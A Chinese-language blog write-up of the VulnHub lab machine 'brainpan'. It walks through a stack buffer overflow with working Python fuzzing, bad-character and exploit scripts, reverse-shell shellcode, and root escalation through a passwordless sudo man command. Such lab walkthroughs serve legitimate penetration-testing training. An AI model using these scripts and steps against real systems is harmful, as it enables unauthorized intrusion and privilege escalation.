brainpan:缓冲区溢出漏洞的利用


brainpan是vulnhub上一个类OSCP风格的靶机。
靶机下载地址:https://www.vulnhub.com/entry/brainpan-1,51/


1.信息收集

端口扫描

首先用nmap扫描靶机开放端口,同时打印banner信息

nmap -sV --script banner 192.168.71.145

扫描结果

发现靶机开放了9999和10000两个端口。其中10000端口是HTTP服务,9999端口未知,可以尝试用telnet先接入一下。

10000端口页面

连接9999端口

10000端口看一下网页源码,没发现特别之处。9999端口让输入密码,其它也没什么了。

10000端口网页源码

目录探测

利用kali自带的DIRB工具对web目录进行探测。

dirb http://192.168.71.145:10000 -w

目录探测

发现一个/bin目录,访问看看。

目录

发现一个exe文件,将它下载下来在win7虚拟机里面运行。

运行brainpan文件

看样子是一个在监听9999端口的程序。
用IDA程序可以很容易得看出这个程序存在strcpy()这个危险函数且存在缓冲区溢出漏洞。

但是在OSCP考试中不允许使用IDA Pro,因此可以先利用strings查看程序中的字符串,看是否存在危险函数。

发现存在strcpy()危险函数,可能存在缓冲区溢出漏洞。

2.验证缓冲区溢出漏洞

验证缓冲区溢出漏洞的基本思路:
利用代码进行fuzz找出是否存在缓冲区溢出漏洞(即查看能否控制EIP),并进行之后的确定偏移量、确定返回地址、生成shellcode。

fuzz

向目标程序发送很长的字符串,直到程序崩溃,确认导致程序崩溃的大概字符串长度。

#!/usr/bin/python
import socket

host='192.168.71.146'
port=9999
buffer = [b"A"]
counter = 100

while len(buffer) <= 50:
    buffer.append(b"A" * counter)
    counter = counter + 100

for string in buffer:
    print("Fuzzing PASS with {} bytes".format(len(string)))
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((host, port))
    s.recv(4096)
    s.send(string)
    s.recv(4096)
    s.close()

当发送字符串长度为600字节时,程序崩溃。在debugger中可以看到栈和EIP都被“A”(0x41)填满,即控制了EIP,使其指向了非法地址。

确定偏移量

确定多长的字符串可以刚好覆盖EIP。
利用kali的工具msf-pattern_create创建长度为600的字符串,发送给程序。

msf-pattern_create -l 600

发送完成后,发现EIP的值为35724134
利用msf-pattern_offset 工具确认偏移位置,偏移为524。

确定返回地址

通过构造发送的字符串,EIP覆盖为想要跳转执行的代码。
当EIP执行”jmp esp”时,程序会接下来跳转到esp所指向的内存执行,实际上就是“返回地址”在栈里的上一个地址,由于操作系统保护机制,esp的地址是不能写死的,所以要找到程序中有没有“jmp esp”的地址可以利用。
这里要用到Immunity Debugger的mona插件,下载地址:https://github.com/corelan/mona

安装好后,在debugger下方的指令框中输入!mona modules,它会显示出所有运行程序的保护机制开启情况。选择前四项都为false的程序,就是可进行代码地址利用的程序。

看到brainpan.exe程序可以利用,使用nasm_shell来获得jmp esp的十六进制指令:

为”\xff\xe4”,使用mona来寻找指令。

!mona find -s "\xff\xe4" -m brainpan.exe

找到了指令的位置为0x311712f3
因为brainpan为windows 32位小端序,所以传入EIP的值应该为\xf3\x12\x17\x31

生成shellcode

在生成shellcode前,要确定程序中有哪些“坏字符”,即不能作为代码使用的字符,每个程序中是不一样的,要在生成shellcode时避免这些字符导致的反弹shell失败。

#!/usr/bin/python
import socket

host='192.168.71.146'
port=9999

badchars = (
        b"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x00"
        b"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x10"
        b"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x20"
        b"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x30"
        b"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x40"
        b"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x50"
        b"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x60"
        b"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x70"
        b"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x80"
        b"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\x90"
        b"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xa0"
        b"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xb0"
        b"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xc0"
        b"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xd0"
        b"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xe0"
        b"\xe1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\xf0")
buff = b'A' * 524 + b'aaaa' + badchars

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.recv(4096)
s.send(buff)
print("Done!")
s.close()

在esp处右键“follow in dump”中可以看到填入的badchars,但是发现在”\x00”处被截断了,不是本来的”\x11”,说明”\x00”是坏字符。
将”\x00”改成”\x01”再次发送,经过排查一切正常,没有其他的坏字符了。

利用kali的msfvenom生成shellcode,记得加-b参数排除掉坏字符。
直接生成靶机linux系统的shellcode。

反弹shell

发送给靶机,再加一段nop雪橇保护shellcode。

#!/usr/bin/python
import socket

ip = "192.168.71.145"
port = 9999
addr = (ip, port)

buf =  b""
buf += b"\xdb\xc4\xd9\x74\x24\xf4\xb8\x81\xbe\x52\xf0\x5e\x2b"
buf += b"\xc9\xb1\x12\x83\xee\xfc\x31\x46\x13\x03\xc7\xad\xb0"
buf += b"\x05\xf6\x0a\xc3\x05\xab\xef\x7f\xa0\x49\x79\x9e\x84"
buf += b"\x2b\xb4\xe1\x76\xea\xf6\xdd\xb5\x8c\xbe\x58\xbf\xe4"
buf += b"\x80\x33\x78\x7f\x68\x46\x87\x6e\x35\xcf\x66\x20\xa3"
buf += b"\x9f\x39\x13\x9f\x23\x33\x72\x12\xa3\x11\x1c\xc3\x8b"
buf += b"\xe6\xb4\x73\xfb\x27\x26\xed\x8a\xdb\xf4\xbe\x05\xfa"
buf += b"\x48\x4b\xdb\x7d"

buff = b'A' * 524 + b'\xf3\x12\x17\x31' + b"\x90" * 16 + buf
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(addr)
s.recv(4096)
s.send(buff)
print("Payload send complete!")

s.close()

发送完成后,kali收到来自靶机的连接,成功反弹shell!

3.提权

可以用下面的命令切换成tty.不然的话会没有上下文环境,很多命令执行不了。

python3 -c "__import__('pty').spawn('/bin/bash')"

从反弹的shell中可以看到当前权限为名为punk的用户。
sudo -l 命令:查看授权的命令列表
可以看到/home/anansi/bin/anansi_util 命令可以无密码执行。

执行一下这个命令

依次执行看了一下,三个参数分别相当于以下命令

  • ip a/ipconfig 命令
  • top
  • man

利用man命令进行权限提升,先执行man,再执行!/bin/sh,获得root权限。

查看root文件夹下的证明文件b.txt

恭喜VulnHub的第一台靶机完成!!!!

4.总结

此靶机考察的点:

  • 缓冲区溢出漏洞利用
  • linux命令
  • 提权基础

文章作者: Summer One
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Summer One !
  目录